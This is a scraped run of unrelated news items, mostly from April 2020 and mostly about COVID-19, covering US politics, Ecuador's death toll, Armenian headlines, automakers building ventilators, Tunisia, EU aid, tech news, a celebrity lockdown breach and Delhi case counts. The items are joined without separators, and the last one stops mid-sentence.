Secret Group of Scientists and Billionaires Pushing a Manhattan Project for Covid-19 WSJ. Reads like a Gibson novel, and I dont mean that as a compliment: A dozen of Americas top scientists and a collection of billionaires and industry titans say they have the answer to the coronavirus pandemic, and they found a backdoor to deliver their plan [a report, below] to the White House.They call themselves Scientists to Stop Covid-19, and they include chemical biologists, an immunobiologist, a neurobiologist, a chronobiologist, an oncologist, a gastroenterologist, an epidemiologist and a nuclear scientist.. This group, whose work hasnt been previously reported, has acted as the go-between for pharmaceutical companies looking for a reputable link to Trump administration decision makers. They are working remotely as an ad hoc review board for the flood of research on the coronavirus, weeding out flawed studies before they reach policy makers. Great. When the aliens land, we can hand the first contact problem over to these guys. And: No one involved with the group stands to gain financially. But: Steve Pagliuca, co-owner of the Boston Celtics and the co-chairman of Bain Capitalas well as one of Dr. Cahills investorshelped copy edit drafts of their report, and he passed a version to Goldman Sachs Group Inc. Chief Executive David Solomon. Mr. Solomon got it to Treasury Secretary Steven Mnuchin. No possibility of front-running here! Here is their report (and whatever the science might be, you can bet the backers have other things in mind. The word patent, for example, is conspicuous by its absence). Its only seventeen pages long. Reader comments welcome. * * * Political response: Coronavirus apps: the risk of slipping into a surveillance state FT Round 2 of Paycheck Protection Program starts. Better hurry CBS Trump Faces Off With the WHO: Sorting Through the Allegations Just Security A New Org Chart Wont Stop the Next Pandemic Bloomberg Who Deserves a Relief Check? It Doesnt Matter. Bloomberg Multi-millionaire Trump donor is top recipient of funds intended for struggling small businesses Popular Information * * * Exit strategy: CDC compiles new guidelines to help organizations reopen CBS Abbotts coronavirus order nixes Austins enforcement of face mask mandate Statesman Texas Will Allow Stay-At-Home Order To Expire Thursday, Letting Some Businesses Reopen HuffPo A five-layered defense for workplace reopening Harvard Gazette. For employers and building managers. * * * Remedies and ameliorations: Five handle hacks for hands-free door opening Dezeen (Re Silc). How to avoid Amazon: the definitive guide to online shopping without the retail titan Guardian. UK-centric, but some US firms. Perhaps readers can add suggestions. Coronavirus and Travel in the United States CDC National Archives makes its entire digital archive available for free Ian Visits AG Barr threatens legal action against states COVID-19 orders that infringe on civil rights Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment U.S. Attorney General William Barr has threatened to take legal action against state officials who violate people's civil rights by taking draconian measures to enforce stay-at-home orders. On Monday, Barr sent a two-page memo to federal prosecutors asking them to consider legal action against state and local governments that infringe upon citizens' civil liberties as they enforce state lockdown policies in response to the ongoing coronavirus pandemic. If a state or local ordinance crosses the line from an appropriate exercise of authority to stop the spread of COVID19 into an overbearing infringement of constitutional and statutory protections, the Department of Justice may have an obligation to address that overreach in federal court, the memo reads. In the past several weeks, orders restricting the types of businesses that can open and places people can gather have forced millions of people to stay home and numerous businesses, organizations and places of worship to suspend or alter their operations. Barrs memo acknowledges that the COVID-19 pandemic has required the imposition of extraordinary restrictions on all of our daily lives. However, he cautioned that even in times of emergency, the First Amendment and federal law prohibit discrimination against religious institutions and religious believers. Barr's memo comes as churches in several states and localities have filed lawsuits in recent weeks against state and local authorities as some services have been shut down during the pandemic and citations have been issued to pastors and churchgoers. The churches claim that bans against large gatherings that dont exempt in-person or drive-in worship services but allow people to pack into big-box stores violate their freedom of religion as guaranteed under the First Amendment. Barr warned in his memo that legal restrictions on state and local authorities are not limited to discrimination against religious institutions and religious believers as there are other types of civil rights violations that can occur. For example, the Constitution also forbids, in certain circumstances, discrimination against disfavored speech and undue interference with the national economy, he wrote. Specifically, the memo directs the Assistant Attorney General for Civil Rights Eric Dreiband and U.S. Attorney for the Eastern District of Michigan Matthew Schneider to oversee and coordinate our efforts to monitor state and local policies and, if necessary, take action to correct them. Though her name is not mentioned in the memo, Barrs direction to the Michigan attorney comes as Michigan Gov. Gretchen Witmer has imposed some of the strictest COVID-19 related policies in the country. Her stay-at-home order has led to protests outside the state capital. Whitmers order bars residents from traveling to in-state vacation homes and even prohibits stores from selling items such as paint, furniture, carpets, flooring and plants. Additionally, Whitmers order prohibits advertising of products that are not groceries, medical supplies, or items that are necessary to maintain the safety, sanitation, and basic operation of residences. Many policies that would be unthinkable in regular times have become commonplace in recent weeks, and we do not want to unduly interfere with the important efforts of state and local officials to protect the public, Barr wrote. But the Constitution is not suspended in times of crisis. We must, therefore, be vigilant to ensure its protections are preserved, at the same time that the public is protected. Michigan is one of the states that has been hit hard by the pandemic. According to Johns Hopkins University & Medicine, there have been over 3,400 coronavirus-related deaths in the state. Nationwide, there have been over 990,000 cases and over 56,000 COVID-19-related deaths. Other protests against stay-at-home orders have been held outside of state capitols in Wisconsin and Pennsylvania. Some states are now starting to slowly reopen their economies as the infection rate has dropped in some hotspots. However, some fear that the easing of restrictions could lead to another wave of COVID-19 cases. Judges have affirmed the First Amendment rights of churches to gather during the pandemic. On Friday, a federal judge ruled that a Pentecostal church in Mississippi may stay open for drive-in worship services after the churchs pastor was issued a citation for holding Easter services. In mid-April, a federal judge issued a temporary restraining order preventing the city of Louisville, Kentucky, from barring a church from holding a drive-in Easter worship service on grounds that doing so would violate their religious beliefs. Earlier this month, the Justice Department issued a statement of interest and an amicus brief in support of a Mississippi church where churchgoers were each fined $500 for attending a Wednesday night drive-in worship service. After the Justice Departments intervention, the mayor of Greenville, Mississippi, said the fines would not be enforced. The United States Department of Justice will continue to ensure that religious freedom remains protected if any state or local government, in their response to COVID-19, singles out, targets, or discriminates against any house of worship for special restrictions, Barr vowed in the April 14 statement. In South America, Ecuador is one of COVID-19's biggest victims. In the earlier parts of the month, news surfaced that the Ecuadorian government needs to arrange public cemetery emergency plots and locate additional burial locations on private lands to meet the demands for the increasing deaths in the northern region of Guayaquil. Dead Bodies Everywhere It was reported that some families are keeping the dead bodies of their loved ones at home because they are waiting for the availability of burial space, says an article. There were images of dead bodies filling the streets. Some were being placed inside cardboard boxes due to the scarce volume of wooden coffins. This news had circulated online. Ecuador is Overwhelmed; How accurate is the data? The dreadful reports indicate that Ecuador was overwhelmed. However, it was only during the recent week that an analysis of the whole situation in Ecuador was made. The Ecuadorian government had announced 503 COVID-19 deaths as of April 15. It was found out through the analysis that there are more or less 7,600 additional deaths this year compared to the previous years' average. However, COVID-19 does not cause all of these deaths. The mortality data during the mid-pandemic is not accurate and is still subject to changes. Hurting the Country's Healthcare Resources The findings of the analysis strengthen the fact that the COVID-19 pandemics had severely hurt the healthcare resources of the country and that it can cause the deaths of many, especially those who will not get proper treatment from hospitals due to the sudden surge of COVID-19 patients. Doctors express their observations regarding the issue. According to a private hospital's ICU unit head Marcelo Castillo, some patients are dying because the hospital lacks resources to help them. Families and friends are asking the hospital for beds for their sick loved ones, and they are unable to provide any. Additionally, the data reveals that in Guayaquil, the total deaths in the first fourteen days were eight times more than the average mortality rates. In New York, another epicenter of the COVID-19 outbreak, deaths increased four times more than the average deaths in the place. Check these out: COVID-19 Testing The population of Ecuador is young, and it is still not clear why the nation had become so vulnerable to the disease. However, it seems like their insufficient supplies and testing kits had contributed to their current problem with the illness. According to the mayor of Guayaquil, the actual COVID-19 cases in the country cannot be determined because of the last of tests. It was reported that on April 24, Ecuador had more tests. This had resulted in the doubling of COVID-19 reported cases in the country. The Ecuadorian government is currently working on strategies to jumpstart its economy. This had been a challenging task since the announcement of a lockdown in March. Slovak government approves defense treaty with US US senators unveil bill to impose sanctions against Russia EU wants to help Lebanon avoid economic collapse CSTO to approve Kazakhstan peacekeepers withdrawal order German president calls for thorough discussion on mandatory vaccination Andranik Hovhannisyan elected UN Human Rights Council vice-president Aliyev: Peace treaty with Armenia not a guarantee for avoiding war Russian Foreign Ministry: Further NATO enlargement involves risks Aliyev not to let OSCE deal with the Karabakh conflict Ex-Mayor of Yerevan invited to police Boris Johnson apologizes for attending party during lockdown Global COVID-19 cases rise by 55% percent, deaths stable Thailand introduces $9 tourist fee Erdogan vows to tame Turkish inflation as scepticism grows Turkey's Turkic world ambitions face reality check in Kazakhstan Teacher in Baku beats student NEWS.am daily digest: 12.01.22 Turkish FM expresses concerns to Chinese counterpart OSCE Chairman-in-Office speaks on situation along Armenia-Azerbaijan border Iran cancels travel ban on common borders CSTO defense ministers council special session to be held Thursday Dollar loses value in Armenia Which NGOs, extra-parliamentary forces to be included in Armenia Constitutional Reform Council? 4,391 foreign nationals visit Artsakh in 2021 China calls on US to immediately close Guantanamo prison State Department says more progress must be made to salvage nuclear deal Measure ensuring implementation of law on addendum to law on Armenia state border is approved Davit Minasyan is sworn in as new mayor of Armenias Parakar enlarged community World Bank: Armenia economic growth expected to be 4.8% in 2022 and 5.4% in 2023 Azerbaijani Defense Minister receives new commander of Russian peacekeepers in Karabakh Biden names Kamala Harris as US president during Atlanta speech Ombudsman: Azerbaijan is launching provocations in Armenia territories where it earlier invaded Russia-NATO Council meeting kicks off in Brussels Serdar Kilic is appointed Turkey special representative for Armenia Armenia ambassador to Georgia informs Switzerland envoy about Azerbaijan's gross ceasefire violation Economy minister: Armenia government was guided by political considerations when lifting sanctions on Turkey goods Turkey defense minister expresses support for Azerbaijan in another military aggression against Armenia Pashinyan, Putin discuss Karabakh, Kazakhstan Toivo Klaar: Deeply worried by reports of renewed incidents and casualties on Armenia-Azerbaijan Germany: A record 80,430 COVID-19 cases detected per day 3 more persons die of coronavirus in Artsakh Criminal case launched into 3 Armenia soldiers killing by Azerbaijan shootings Copper rises in price One of main tasks of Armenia peacekeepers in Kazakhstans Almaty is to prevent water supply system poisoning About 80 Americans cannot fly from Afghanistan Turkey parliament ex-deputy speaker: Armenia must fulfill 4 preconditions Border situation in Armenias Gegharkunik Province was calm at night French FM says talks on Iranian nuclear deal are progressing slowly 289 new cases of COVID-19 confirmed in Armenia Gold slightly rises in price North Korea says it successfully tested another hypersonic missile OSCE calls on Azerbaijan, Armenia to refrain from the use of force Oil is trading without a single dynamic US State Department welcomes announcement on CSTO forces withdrawal from Kazakhstan Newspaper: Ex-ministers are summoned to Hayastan All Armenian Fund parliamentary inquiry committee MOD: Armenia soldiers dead body found at midnight after Azerbaijan provocation Newspaper: Casualties of Armenia PM Pashinyan's 'era of peace' US concerned about EastMed natural gas pipeline project Giant fish sold at auction for over 16 million yen German Marshall Fund: It Is not too early to think about political change in Turkey Armenian Foreign Ministry: We call on Azerbaijani authorities to refrain from provocations Armenia's Geghamasar community head: The situation is stable now Queen Elizabeth II's favorite fast food revealed Human Rights Defender: Azerbaijani troops open fire on Armenian sovereign territory World Economic Forum: Cybersecurity and space pose new risks to the global economy Defense Ministry confirms Armenian side has 2 victims Satanovsky on sending Armenian servicemen to Kazakhstan Unofficial data: 2 servicemen killed as a result of Azerbaijan provocation CSTO and Kazakh Defense Ministry developing plan WHO thinks it's too early to consider COVID-19 pandemic European Commission to require Poland to pay fine of nearly EUR 70 million White House announces $308 million humanitarian aid for Afghanistan Erdogan angry at minister after efforts to strengthen lira failed Armenian FM has phone call with US Assistant Secretary of State India imposes one-week quarantine even for vaccinated tourists Armenian ex-president expresses condolences on poet Razmik Davoyan's death Traction Programme to showcase 8 startups during the Digital Demo Day Azerbaijan uses artillery and UAVs, 3 Armenian soldiers wounded NEWS.am daily digest: 11.01.22 Austrian Chancellor confirms plan for mandatory COVID-19 vaccination in February Armen Sarkissian and Kassym-Jomart Tokayev discuss situation in Kazakhstan Gulf, Iran and Turkey FMs to visit China 20 pregnant women with COVID-19 die in Azerbaijan in year Armenia hands over wanted US citizen to United States Economy ministry: Organizing of accommodation and public catering increased by 61.1% in Armenia Armenia parliament speaker expresses condolences on European Parliament President death Azerbaijan opens fire toward Armenia village sector, one soldier wounded Shoigu: CSTO peacekeepers deployed in Kazakhstan thanks to Syrian and Karabakh experience Azerbaijan official pledges to remove Armenian toponyms from Google Maps UN offers two plans to help Afghans totaling $ 5 billion in 2022 Armenia attorney general travels to Moscow on working visit Azerbaijan MOD blames Armenian side for soldiers death Dollar drops in Armenia Shirak Province captives families hold protest outside Armenia government building Rolls-Royce sales rise to record high in 2021 Ombudsman: Azerbaijanis directed gun at Armenia residents car in which his wife, 3-year-old child were ANCA urges President Biden and Congress to hold Azerbaijan and Turkey accountable for war crimes Serbia's Orthodox Patriarch tests positive for COVID-19 Brothers, sisters of 2020 Artsakh war military casualties to get compensation in lieu of their deceased parents Turkish authorities sanction arrest of 33 suspected FETO ties Select Ford factory employees are currently wearing Samsung smartwatches that buzz when two people come within six feet of each other. Others are wearing masks and clear face shields, and some are wearing all three. The new pieces of the worker uniforms are measures to attempt to keep everybody safe during the COVID-19 pandemic and help avoid the spread of the coronavirus. These steps have been implemented as Ford makes ventilators and personal protective equipment (PPE), not cars, for the time being. Norah O'Donnell and 60 Minutes recently sat down with Ford Executive Chairman Bill Ford, Jr., as well as General Motors (GM) CEO Mary Barra, to discuss the current state of automotive manufacturing and the path forward. Since March, the federal government agreed to a $336 million contract with Ford and GE Healthcare and a $489.4 million contract with GM to build ventilators that are needed in the fight against the COVID-19 outbreak. GM is expected to deliver 30,000 units by the end of August and Ford is expected to delivery 50,000 units by July 13. Ventilators and PPE are the only products that have come out of Ford's and GM's manufacturing facilities in more than a month, as just about every automotive production line outside of China has been shut down for more than a month. Only in the coming weeks will manufacturers begin to reopen their plants with strict guidelines, as well as extra testing. Mercedes-Benz planned to open its Alabama plant today, while Ford and GM hope to reopen some lines around May 4. The interrupted product lines and current financial recession have left Ford and GM burning cash. Ford says it lost roughly $2 billion in the first quarter, and according to a 60 Minutes-reported estimate, the company is spending about $165 million per day. The strenuous times have forced both Ford and GM to tap into billions of dollars in credit to stay on course, but Mary Barra references a strong balance sheet as a reason why "we will get through this." Similarly, Ford Jr. does not believe a bailout or loan will be necessary to keep Ford moving. Story continues The clips above and below show small portions of the 60 Minutes chat. Watch the full report, including discussions about the protests in Michigan, at CBS News. Related Video: Click here to See Video >> Tunisia has become the first Arab country to recognise a same-sex marriage, an LGBT rights group has claimed. Equal rights group Shams says a 26-year-old Tunisian man was allowed to register a marriage which had taken place in France on his birth certificate. Homosexuality is illegal in Tunisia, punishable with up to three years in prison, and the government has not confirmed the report. UK activist Peter Tatchell said the news would be a 'breakthrough' for LGBT people in the Middle East and North Africa if it is confirmed. Tunisian LGBT rights activist Mounir Baatour, pictured in Tunis last year, says the country has become the first in the Arab world to recognise a same-sex marriage Mounir Baatour, the founder of Shams, said the Tunisian man had married a 31-year-old Frenchman at a city hall in France, which legalised equal marriage in 2013. A French consulate in Tunisia then informed the local authorities who added the marriage to the Tunisian man's birth certificate, Baatour said. Entering marriages on birth certificates is standard practice in Tunisia, but Shams says this is the first time that a gay marriage has been given such recognition. 'It shows that Tunisia will not be able to resist the natural course of history in the world,' Baatour said. 'It will also have consequences in terms of law,' he said, saying it would affect the legal position in case of death or divorce. LGBT rights campaigner Peter Tatchell told the Jerusalem Post that the news could 'give hope' to people in the Arab world. 'This recognition of a gay marriage is a milestone in the Arab world. But it is indirect recognition, and not the legalisation of marriage between same-sex couples,' he said. 'Even if it is appealed or overturned, this is a breakthrough that will give hope to LGBT+ people in Tunisia and across North Africa and the Middle East.' Tunisia has laws providing for three-year prison sentences for homosexuality (stock photo) According to Human Rights Watch, Tunisia's penal code punishes both male and female homosexual acts with up to three years in prison. Tunisian authorities can also hand out six-month prison sentences for what they identify as 'public indecency or public immorality'. Those morality laws are often used to clamp down on same-sex intimacy, with 127 convictions in 2018, according to Shams. Baatour is spending the coronavirus lockdown in Marseille after fleeing death threats in Tunisia earlier this year. Baatour ran for President of Tunisia in last year's election and subsequently received 'very serious' death threats from Islamist groups, he revealed in January. Local authorities had informed him that 'the Islamists want to kill me,' he said after leaving for France where he was accepted as a political refugee. 'The police contacted me and said they considered the threat as very serious,' he said at the time. Share this article Whatsapp Facebook Twitter Linkedin Nina Loasana (The Jakarta Post) Jakarta Tue, April 28, 2020 15:07 624 fc6853813033f564188675f8bd4b439a 1 World COVID-19,coronavirus,ASEAN,European-Union Free The European Union has announced that it is mobilizing 350 million (US$ 378 million) to assist Southeast Asian countries in the battle against COVID-19. The funds will be allocated for, among others, addressing the health crisis, strengthening healthcare systems and alleviating economic and social impacts from the pandemic. In difficult times, ASEAN can count on the European Union. The EU and ASEAN are regional organizations bound by 42 years of solidarity and partnership," EU Ambassador to ASEAN Igor Driesmans said in a statement. "By mobilizing 350 million in support of ASEAN countries, the EU is demonstrating its friendship with the people of the region," he added. For Indonesia -- the country with the highest death toll from COVID-19 in Southeast Asia -- the EU has granted 6 million to NGOs working on public health and hygiene measures, psycho-social counseling for vulnerable groups, distribution of health kits to vulnerable communities and assistance to community health workers. The EU announced on April 4 that it would commit more than 20 billion to support partner countries in the fight against COVID-19 under a program called Team Europe. It will distribute the funds to vulnerable countries in Africa, the western Balkans, eastern partner countries, the Middle East and North Africa, parts of Asia and the Pacific, Latin America and the Caribbean. Read also: US donates $3 million for COVID-19 relief to Indonesia The regional block had also channeled some 48.5 million to fund 18 research projects on COVID-19, particularly related to protective equipment, to improve modeling of the spread of the virus, rapid diagnostics techniques as well as treatments and vaccines. "Scientific organizations in ASEAN member states are invited to express their interest to cooperate with the newly launched projects. Priority will be given to activities related to modeling and high performance computing, as well as infrastructure platforms and projects," the EU announced in a written statement on April 16. The pandemic has wreaked havoc on the economy and healthcare systems of nations around the world since it spread rapidly from Wuhan city in China to more than 200 countries and territories in roughly four months since early January. As of Tuesday, the tally of COVID-19 infections has topped 3 million cases globally, with more than 211,000 fatalities across the globe, Bloomberg reported. Driesmans further asserted the importance of global collaboration to address crisis caused by the contagious respiratory illness. "We can only overcome the coronavirus pandemic through international cooperation, solidarity and coordination, he said. MIUI 12 stable update rollout for second-batch Xiaomi smartphones like the Mi 9 SE and Redmi Note 8 Pro should be completed by the end of September Redmi Note 8 Pro devices could start receiving MIUI 12 in July while Redmi Note 8 and Redmi Note 8T users will likely have to wait until at least August MIUI 12 global rollout to commence in June; Redmi K20 and Mi 9 to get the update first Tinker Edge R: Asus presents a new and powerful Raspberry Pi alternative with AI support MIUI 12 will be available globally starting May 19th OKdo E1: An ultra-low-cost developer board New Xiaomi RedmiBooks with Ryzen APUs and Mi Notebook / Laptop models spotted in the Bluetooth SIG database Qualcomm accidentally confirms the Mi 10 Lite Zoom, seemingly the global version of the Mi 10 Youth Edition The POCO F2 Pro underlines why Xiaomi's branding is a mess Xiaomi launches the Mi 10 Youth Edition 5G, an affordable Mi 10 Pro for the masses starting under US$300 A new Xiaomi patent may take the main-camera selfie trend to a whole new level Xiaomi rolls out another Android 9.0 Pie update to the Mi Note 10 and Mi Note 10 Pro just days before it makes MIUI 12 available Xiaomi Mi 10 Youth Edition specs and official render revealed Potential bad news for Redmi Pad 5G admirers: Noted tipster believes the leaked promo image of the new tablet from Xiaomi is fake The Xiaomi Redmi K30i will be an even cheaper version of the Redmi K30 5G OnePlus 8 Pro vs. Xiaomi Mi 10 Pro - Which of the "flagship killers" should you purchase? Georgia Toffolo reportedly flouted lockdown rules over the weekend to attend a dog's birthday party. The former-Made In Chelsea star, 25, joined her friend Jess Hydleman at her house in London, where two men were also in attendance, reports The Sun. The party was for Jess' dog, where they took part in a Zoom call to celebrate - despite lockdown rules stating people should only leave their homes for exercise and essential trips for food or medication. Essential travel? Georgia Toffolo reportedly flouted lockdown rules over the weekend to attend a dog's birthday party [pictured with her own dog, Monty] This comes after Toff revealed that her grandfather has passed away after contracting coronavirus and that her grandmother caught the virus while visiting him in hospital. The incriminating video - which was leaked to The Sun via a source supposedly involved in the Zoom call - featured Toff in a pink dress. She is heard off-camera at one point asking, 'hows Squirrel is he okay?' and saying, 'well done Squirrel!' while everyone toasts the dog. The source told The Sun: 'Toff left her home on Friday to visit Jess in London for her dogs party. Flouting the rules? The former-Made In Chelsea star, 25, joined her friend Jess Hydleman at her house in London, where two men were also in attendance, reports The Sun 'Of all the reasons to breach lockdown rules, your friends poochs first birthday is hardly essential travel. 'It was so surprising to see Toff making such a blunder - especially after she has been so vocal during the pandemic.' While one of the men is unknown, the other is the boyfriend of Toff's friend Jess, who is the ex-fiance of troubled former-Big Brother star Marco Pierre White Junior. MailOnline has approached reps for comment. Toff has not appeared to flout lockdown rules til now and has even done her bit to support the NHS by having a junior doctor, who works on the frontline battling COVID-19, live at her flat in Chelsea rent-free, for easy access to Westminster Hospital. Tragic: This comes after Toff revealed that her grandfather has passed away after contracting coronavirus and that her grandmother caught the virus while visiting him in hospital She said the frontline healthcare worker had helped her and her family deal with the death of her grandfather Umberto Toffolo, just two weeks ago. Speaking on Kate Thornton's, White Wine Question time podcast she said: 'My grandfather passed away a couple of weeks ago... 'I'm sure my grandfather will be put down as a coronavirus death, and its awful but he did die of coronavirus we knew he did have it for 10 days before he did pass away but my grandfather has been very unwell for the past six months - nearly a year so. 'My grandmother actually caught it off him in hospital and I spoke to her yesterday and thank goodness she has turned a corner and she is good now.' Toff's grandfather flew out to Australia in 2017 to surprise the star after she was crowned the winner of I'm A Celebrity Get Me Out Of Here. A helping hand: The star, 25, also currently has a junior doctor, who is working on a COVID-19 ward living rent-free in her flat, which is close to the Chelsea and Westminster Hospital The reality TV star added: 'When [this all began], I thought that's not going to come near any of us lot. Not my family or my friends. I can't believe how many people close to me and friends of mine. It really doesn't discriminate. 'I spoke to my gran yesterday and she was having a glass of red wine so she is fine... Hopefully she has a bit of immunity now.' Toff also discussed how she was letting a junior NHS doctor use her flat near to the Chelsea and Westminster Hospital free of charge during the pandemic. Proud: Toff's grandfather flew out to Australia in 2017 to surprise the star after she was crowned the winner of I'm A Celebrity Get Me Out Of Here She said: 'I basically saw that loads of people were getting moved, because if you put your name forward to work on a COVID-19 ward, you don't know where you're going to be allocated. I thought I would see if anyone needed accommodation... 'He [the doctor] been kicked out of his flat because his housemates didn't work to catch coronavirus off him. I don't know what you think about that, but for me it made me quite sad. 'I didn't like that so I just said why don't you move in and he's actually turned into quite a nice little friend. Sad loss: Speaking on Kate Thornton's, White Wine Question time podcast she said: 'My grandfather passed away a couple of weeks ago' 'He was a source of comfort when my family were going through all that we have been with regards to the coronavirus because obviously we weren't allowed in the hospital... 'He doesn't need to be doing that [working on a coronavirus ward] what does it take to put your name forward for something like that... I'm pretty in awe of all of them to be honest.' The doctor told Toff and her family that if they had any questions about the disease or how her grandfather was then they could just ask. Host Kate Thornton, 47, said: 'You have opened up your first ever home, a home you have not lived in yourself to a man that is effectively a stranger... But right now anybody that carries an NHS badge is any friend of anyone.' In context: While it always sounds nice to talk about complete solutions that a single company can offer, in todays reality of multi-vendor IT environments, its often better if everyone can play together. The Google Cloud strategy team seems to be particularly conscious of this principle lately and are working to extend the reach of Google Cloud Platform and their Anthos platform into more places. Last week, Google made several announcements, including a partnership with Cisco that will better connect Ciscos software-defined wide area network (SD-WAN) tools with Google Cloud. Google also announced the production release of Anthos for Amazons AWS and a preview release of Anthos for Microsofts Azure cloud. These two new Anthos tools are applications/services for both migrating and managing cloud workloads to and from GCP to AWS or Azure respectively. The Cisco-Google partnership offering is officially called the Cisco SD-WAN Hub with Google Cloud. It provides a manageable private connection for applications all the way from an enterprises data center to the cloud. Many organizations use SD-WAN tools to manage the connections between branches of an office or other intra-company networks, but the new tools extend that reach to Googles GCP cloud platform. What this means is that companies can see, manage, and measure the applications they share over SD-WAN connections from within their organizations all the way out to the cloud. Specifically, the new connection fabric being put into place with this service (which is expected to be previewed at the end of this year) will allow companies to do things like maintain service-level agreements, compliance policies, security settings, and more for applications that reach into the cloud. Without this type of connectivity, companies have been limited to maintaining these services only for internal applications. In addition, the Cisco-powered connection gives companies the flexibility to put portions of an application in one location (for example, running AI/ML algorithms in the cloud), while running another portion, such as the business logic, on a private cloud, but managing them all through Googles Anthos. Given the growing interest and usage of hybrid cloud computing principleswhere applications can be run both within local private clouds and in public cloud environmentsthese connection and management capabilities are critically important. In fact, according to the TECHnalysis Research Hybrid and Multi-Cloud study, roughly 86% of organizations that have any type of cloud computing efforts are running private clouds, and 83% are running hybrid clouds, highlighting the widespread use of these computing models and the strategically important need for this extended reach. Of course, in addition to hybrid cloud, theres been a tremendous increase in both interest and usage of multi-cloud computing, where companies leverage more than one different cloud provider. In fact, according to the same study, 99% of organizations that leverage cloud computing use more than one public cloud provider. Appropriately enough, the other Anthos announcements from Google were focused on the ability to potentially migrate and to manage cloud-based applications across multiple providers. Specifically, the companys Anthos for AWS allows companies to move existing workloads from Amazons Web Services to GCP (or the other way, if they prefer). Later this year, the production version of Anthos for Azure will bring the same capabilities to and from Microsofts cloud platform. While the theoretical concept of moving workloads back and forth across providers, based on things like pricing or capability changes, sounds interesting, realistically speaking, even Google doesnt expect workload migration to be the primary focus of Anthos. Instead, just having the potential to make the move gives companies the ability to avoid getting locked into a single cloud provider. More importantly, Anthos is designed to provide a single, consistent management backplane to an organizations cloud workloads, allowing them all to be managed from a single locationeventually, regardless of the public cloud platform on which theyre running. In addition, like many other vendors, Google incorporates a number of technologies into Anthos that lets companies modernize their applications. The ability to move applications running inside virtual machines into containers, for example, and then to leverage the Kubernetes-based container management technologies that Anthos is based on, for example, is something that a number of organizations have been investigating. Ultimately, all of these efforts appear to be focused on making hybrid, multi-cloud computing efforts more readily accessible and more easily manageable for companies of all sizes. Industry discussions on these issues have been ongoing for years now, but efforts like these emphasize that theyre finally becoming real and that it takes the efforts of multiple vendors (or tools that work across multiple platforms) to make them happen. Bob ODonnell is the founder and chief analyst of TECHnalysis Research, LLC a technology consulting and market research firm. You can follow him on Twitter @bobodtech. This article was originally published on Tech.pinions. (Alliance News) - Integrated Diagnostics Holdings PLC on Tuesday reported double-digit annual revenue growth, which the healthcare company attributed to progress in Egypt. In 2019, revenue rose 16% to EGP2.23 billion, about GBP113.1 million, from EGP1.92 billion. "Egypt was the primary driver of growth during the year, recording an 18% year-on-year increase in revenue," Integrated Diagnostics said. Pretax profit was 5.7% higher at EGP758.1 million from EGP717.4 million. Chair Anthony Tudor St John said: "I am pleased to report that we continued to deliver impressive growth in 2019. Despite increased competition in Egypt and challenging market conditions in Sudan and Nigeria, IDH maintained its competitive edge as the leading healthcare provider with its scalable platform and value-added diagnostic services." The company, for now at least, has decided against a dividend. "Due to the Covid-19 pandemic and consequent uncertainty regarding the macroeconomic environment, the board of directors has deemed it more appropriate to focus on retaining resources and will thus suspend the dividend decision till September 2020. At which point, further consideration will be given to developments in the global pandemic and confidence regarding the group's future needs and financial outlook," it said. In 2018, it made a payout of USD0.176 per share. Chief Executive Officer Hend El-Sherbini "The novel coronavirus that causes the Covid-19 illness continued to spread across the globe including in our markets. This pandemic has pushed governments, businesses and communities to adopt unprecedented mitigation efforts to control the spread of the disease. As a healthcare business, IDH has a role to play in our community - and an equally important role to play in keeping our staff safe as we navigate this new normal and ensure business continuity." Shares in the company were 0.2% higher at USD3.30 each in London on Tuesday afternoon. By Eric Cunha; ericcunha@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. The total number of COVID-19 cases in Delhi rose to 3,314 on Tuesday, even as 201 coronavirus patients recovered from the disease, the highest so far in a day with no fatalities, authorities said. No death was reported for the third consecutive day in the national capital. Among the 3,314 cases includes a Delhi Police constable attached to the crime branch. The constable had visited the Tablighi Jamaat religious congregation in Nizamuddin, which had last month become the epicentre of the COVID-19 spread. Fifteen members of the crime branch team, who came in touch with the constable, have been advised home quarantine. So far, 1,078 COVID-19 patients have recovered and there are 2,182 active cases in Delhi. The number of containment zones in the city reached 100. To curb the COVID-19 spread, Delhi Lieutenant Governor Anil Baijal directed all district magistrates to implement a "micro-containment zone strategy" in their respective areas. Under this plan, small clusters reporting cases of the deadly virus will be identified and declared containment zones instead of big ones, officials said. The move comes after several COVID-19 cases were reported in some containment zones, including in Jahangirpuri, where people were seen moving around and meeting each other on the streets despite the lockdown. At present, authorities block the entry and exit points of an area where COVID-19 cases emerge and people are not allowed to step out of their houses. Essential items are delivered at their doorsteps. "It was observed that people in some containment zones are roaming on streets and meeting each other. "DMs have been directed to implement 'micro-containment zone strategy', under which small clusters will be formed and declared containment zones so that there is strictly no movement of people," the official told PTI. Earlier this month, 31 members of an extended family in north Delhi's Jahangirpuri contracted the disease despite the area being declared a containment zone. Delhi has already announced implementation of the Ministry of Home Affairs guidelines of easing the lockdown. This includes opening of standalone neighbourhood shops, permitting services provided by self-employed people like electrician, IT repairs, plumbers and carpenters and water-purifier service men. The Union Health Ministry said the plasma therapy for treatment of coronavirus patients is at an experimental stage and it has the potential to cause life-threatening complications, the Union Health Ministry said on Tuesday, warning against its use. The plasma therapy was being used by the Delhi government on an experimental basis. There was no immediate reaction by the Delhi government on the Health Ministry's comments against the use of plasma therapy. Biocon founder Kiran Mazumdar Shaw said the ministry's statement is "inaccurate". "No Evidence To Support Plasma Therapy As COVID-19 Treatment": Government - this is a very inaccurate statement given the amount of global data that is available on its efficacy It is saving lives. Pls don't stop this," she tweeted. This tweet was, however, retweeted by Chief Minister Arvind Kejriwal. In an online briefing last week, Kejriwal had said, "The initial results are every encouraging and good. It gives a ray of hope to save people's lives from coronavirus." Meanwhile, the Delhi government told the Centre that it is not feasible to conduct class 10 and 12 board exams, which are pending due to the lockdown imposed to curb the COVID-19 spread. Deputy Chief Minister Manish Sisodia made the recommendations during a meeting of state education ministers chaired by Human Resource Development (HRD) Minister Ramesh Pokhriyal 'Nishank'. "Due to the need of social distancing, it will not be feasible to conduct remaining exams for class 10 and 12 students even in May-June. Having exam thereafter will delay the next academic cycle heavily. Other states have their own state boards but Delhi has CBSE as its board. Most students of CBSE come from Delhi," Sisodia said. "I appealed to the HRD minister that CBSE be asked to take a similar route for promoting students as it proposed for class 9 and 11. In these uncertain times, I don't know if we would be able to conduct examinations again, so on the basis of same formula like internal assessments and papers already conducted, students of class 10 and 12 too should be evaluated. "This will help us not waste our students' time and not push their academic cycles further and get their studies hampered," he added. Sisodia, who is also Delhi's education minister, suggested that "the curriculum for the next academic session should reduced by 30 per cent and competitive exams like JEE, NEET be conducted on the basis 